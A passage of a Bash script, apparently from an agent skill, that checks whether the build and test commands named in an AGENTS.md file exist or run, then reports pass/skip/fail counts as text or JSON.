  491. duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
  492. success "composer script works: $script (~${duration}ms)"
  493. ((PASSED+=1))
  494. else
  495. warn "composer script exists but smoke test failed: $script"
  496. COMMAND_RESULTS["$cmd"]='{"exists": true, "runs": false}'
  497. ((SKIPPED+=1))
  498. fi
  499. else
  500. success "composer script exists: $script"
  501. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  502. ((PASSED+=1))
  503. fi
  504. else
  505. warn "composer script not found: $script"
  506. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  507. ((SKIPPED+=1))
  508. fi
  509. else
  510. warn "No composer.json found for: $cmd"
  511. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  512. ((SKIPPED+=1))
  513. fi
  514. ;;
  515. python|python3|pip|pip3)
  516. # Python commands
  517. if command -v "$base_cmd" > /dev/null 2>&1; then
  518. success "Python command available: $base_cmd"
  519. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  520. ((PASSED+=1))
  521. else
  522. warn "Python command not found: $base_cmd"
  523. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  524. ((SKIPPED+=1))
  525. fi
  526. ;;
  527. poetry)
  528. # Poetry package manager
  529. if command -v poetry > /dev/null 2>&1; then
  530. local subcmd="${cmd#poetry }"
  531. subcmd="${subcmd%% *}"
  532. if [[ "$subcmd" =~ ^(install|add|remove|update|build|publish|run|shell)$ ]]; then
  533. success "poetry command: $subcmd"
  534. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  535. ((PASSED+=1))
  536. else
  537. # Check if it's a custom script
  538. if [ -f "pyproject.toml" ] && grep -q "\[tool.poetry.scripts\]" pyproject.toml 2>/dev/null; then
  539. success "poetry command available"
  540. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  541. ((PASSED+=1))
  542. else
  543. warn "poetry script not found: $subcmd"
  544. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  545. ((SKIPPED+=1))
  546. fi
  547. fi
  548. else
  549. warn "poetry not installed"
  550. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  551. ((SKIPPED+=1))
  552. fi
  553. ;;
  554. uv)
  555. # uv package manager
  556. if command -v uv > /dev/null 2>&1; then
  557. success "uv command available"
  558. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  559. ((PASSED+=1))
  560. else
  561. warn "uv not installed"
  562. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  563. ((SKIPPED+=1))
  564. fi
  565. ;;
  566. pytest)
  567. # pytest test runner
  568. if command -v pytest > /dev/null 2>&1; then
  569. success "pytest available"
  570. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  571. ((PASSED+=1))
  572. else
  573. warn "pytest not installed"
  574. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  575. ((SKIPPED+=1))
  576. fi
  577. ;;
  578. cargo)
  579. # Rust cargo
  580. if command -v cargo > /dev/null 2>&1; then
  581. success "cargo command available"
  582. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  583. ((PASSED+=1))
  584. else
  585. warn "cargo not installed"
  586. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  587. ((SKIPPED+=1))
  588. fi
  589. ;;
  590. deno)
  591. # Deno runtime
  592. if command -v deno > /dev/null 2>&1; then
  593. success "deno command available"
  594. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  595. ((PASSED+=1))
  596. else
  597. warn "deno not installed"
  598. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  599. ((SKIPPED+=1))
  600. fi
  601. ;;
  602. gradle|gradlew|./gradlew)
  603. # Gradle build tool
  604. if [ -f "gradlew" ] || [ -f "build.gradle" ] || [ -f "build.gradle.kts" ]; then
  605. success "gradle project detected"
  606. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  607. ((PASSED+=1))
  608. elif command -v gradle > /dev/null 2>&1; then
  609. success "gradle command available"
  610. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  611. ((PASSED+=1))
  612. else
  613. warn "gradle not found"
  614. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  615. ((SKIPPED+=1))
  616. fi
  617. ;;
  618. go)
  619. # Go commands are generally available if go is installed
  620. if command -v go > /dev/null 2>&1; then
  621. if [ "$SMOKE_TEST" = true ]; then
  622. if smoke_test_command "$cmd"; then
  623. local duration="${COMMAND_RESULTS[$cmd]}"
  624. duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
  625. success "go command ran successfully (~${duration}ms)"
  626. ((PASSED+=1))
  627. else
  628. error "go command failed: $cmd"
  629. ((FAILED+=1))
  630. fi
  631. else
  632. success "go command available"
  633. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  634. ((PASSED+=1))
  635. fi
  636. else
  637. error "go not installed"
  638. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  639. ((FAILED+=1))
  640. fi
  641. ;;
  642. vendor/bin/*)
  643. # PHP vendor binary
  644. if [ -f "$base_cmd" ]; then
  645. if [ "$SMOKE_TEST" = true ]; then
  646. # For test commands, run with --help to avoid actually running tests
  647. local test_cmd="$cmd"
  648. if [[ "$cmd" == *"phpunit"* ]] && [[ "$cmd" != *"--help"* ]]; then
  649. test_cmd="$base_cmd --help"
  650. fi
  651. if smoke_test_command "$test_cmd"; then
  652. local duration="${COMMAND_RESULTS[$cmd]}"
  653. duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
  654. success "vendor binary works (~${duration}ms)"
  655. ((PASSED+=1))
  656. else
  657. warn "vendor binary exists but failed: $cmd"
  658. ((SKIPPED+=1))
  659. fi
  660. else
  661. success "vendor binary exists: $base_cmd"
  662. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  663. ((PASSED+=1))
  664. fi
  665. else
  666. error "vendor binary not found: $base_cmd"
  667. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  668. ((FAILED+=1))
  669. fi
  670. ;;
  671. *)
  672. # Check if command exists in PATH
  673. if command -v "$base_cmd" > /dev/null 2>&1; then
  674. if [ "$SMOKE_TEST" = true ]; then
  675. if smoke_test_command "$cmd"; then
  676. local duration="${COMMAND_RESULTS[$cmd]}"
  677. duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
  678. success "command works (~${duration}ms)"
  679. ((PASSED+=1))
  680. else
  681. warn "command exists but failed: $cmd"
  682. ((SKIPPED+=1))
  683. fi
  684. else
  685. success "command exists: $base_cmd"
  686. COMMAND_RESULTS["$cmd"]='{"exists": true}'
  687. ((PASSED+=1))
  688. fi
  689. else
  690. warn "command not in PATH: $base_cmd"
  691. COMMAND_RESULTS["$cmd"]='{"exists": false}'
  692. ((SKIPPED+=1))
  693. fi
  694. ;;
  695. esac
  696. }
  697. # Get unique commands
  698. mapfile -t commands < <(extract_commands | sort -u)
  699. if [ ${#commands[@]} -eq 0 ]; then
  700. warn "No commands found in AGENTS.md"
  701. if [[ "$JSON" = true ]]; then
  702. jq -nc --argjson p "$PASSED" --argjson s "$SKIPPED" --argjson f "$FAILED" \
  703. '{script:"verify-commands",schema:1,summary:{passed:$p,skipped:$s,failed:$f},commands:[]}' >&3
  704. fi
  705. exit 0
  706. fi
  707. echo "Found ${#commands[@]} unique commands to verify"
  708. echo ""
  709. for cmd in "${commands[@]}"; do
  710. [ -n "$cmd" ] && verify_command "$cmd"
  711. done
  712. # Emit JSON document (machine-readable) and exit before the human summary.
  713. # Summary counts come from the authoritative PASSED/SKIPPED/FAILED counters; the
  714. # commands[] array is built best-effort from COMMAND_RESULTS (iterating its keys,
  715. # parsing each stored value as JSON, else null).
  716. if [[ "$JSON" = true ]]; then
  717. if [[ "${#COMMAND_RESULTS[@]}" -gt 0 ]]; then
  718. # Iterate keys in SORTED order: associative-array key order is otherwise
  719. # unspecified in Bash, which would make commands[] order vary run to run.
  720. # read -r (not word-split) preserves command strings that contain spaces.
  721. while IFS= read -r cmd; do
  722. stored="${COMMAND_RESULTS[$cmd]}"
  723. if entry=$(jq -nc --arg cmd "$cmd" --argjson detail "$stored" \
  724. '{cmd:$cmd,detail:$detail}' 2>/dev/null); then
  725. JSON_CMDS+=("$entry")
  726. else
  727. JSON_CMDS+=("$(jq -nc --arg cmd "$cmd" '{cmd:$cmd,detail:null}')")
  728. fi
  729. done < <(printf '%s\n' "${!COMMAND_RESULTS[@]}" | LC_ALL=C sort)
  730. fi
  731. if [[ "${#JSON_CMDS[@]}" -eq 0 ]]; then
  732. arr_json='[]'
  733. else
  734. arr_json=$(printf '%s\n' "${JSON_CMDS[@]}" | jq -s '.')
  735. fi
  736. jq -nc \
  737. --argjson items "$arr_json" \
  738. --argjson p "$PASSED" \
  739. --argjson s "$SKIPPED" \
  740. --argjson f "$FAILED" \
  741. '{script:"verify-commands",schema:1,summary:{passed:$p,skipped:$s,failed:$f},commands:$items}' >&3
  742. if [[ "$FAILED" -gt 0 ]]; then exit 1; fi
  743. exit 0
  744. fi
  745. echo ""
  746. echo "======================================"
  747. echo "Verification Summary"
  748. echo "======================================"
  749. echo -e "${GREEN}Passed:${NC} $PASSED"
  750. echo -e "${YELLOW}Skipped:${NC} $SKIPPED"
  751. echo -e "${RED}Failed:${NC} $FAILED"
  752. echo ""
  753. if [ "$FAILED" -gt 0 ]; then
  754. echo -e "${RED}Some commands in AGENTS.md are invalid!${NC}"
  755. echo "Update AGENTS.md to fix broken command references."
  756. # Still write JSON results
  757. if [ "$DRY_RUN" = false ] && [ ${#COMMAND_RESULTS[@]} -gt 0 ]; then
  758. write_json_results
  759. fi
  760. exit 1
  761. else
  762. echo -e "${GREEN}All verifiable commands are valid.${NC}"
  763. # Write JSON results
  764. if [ "$DRY_RUN" = false ] && [ ${#COMMAND_RESULTS[@]} -gt 0 ]; then
  765. write_json_results
  766. [ "$SIDECAR_WRITABLE" = true ] && echo "Verification results saved to $OUTPUT_JSON"
  767. fi
  768. # A verification run changes the file it checks only when asked to.
  769. if [ "$DRY_RUN" = false ] && [ "$UPDATE_VERIFIED" = true ] && [ -w "$AGENTS_FILE" ]; then
  770. TODAY=$(date +%Y-%m-%d)
  771. if grep -q "Last verified:" "$AGENTS_FILE"; then
  772. # Portable sed -i: use backup extension then remove backup
  773. sed -i.bak "s/Last verified: .*/Last verified: $TODAY -->/" "$AGENTS_FILE" && rm -f "$AGENTS_FILE.bak"
  774. echo "Updated 'Last verified' timestamp to $TODAY"
  775. fi
  776. fi
  777. fi

Version history

  • v3.17.011/13/2026

  • v3.16.510/24/2026

  • v3.16.410/18/2026

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.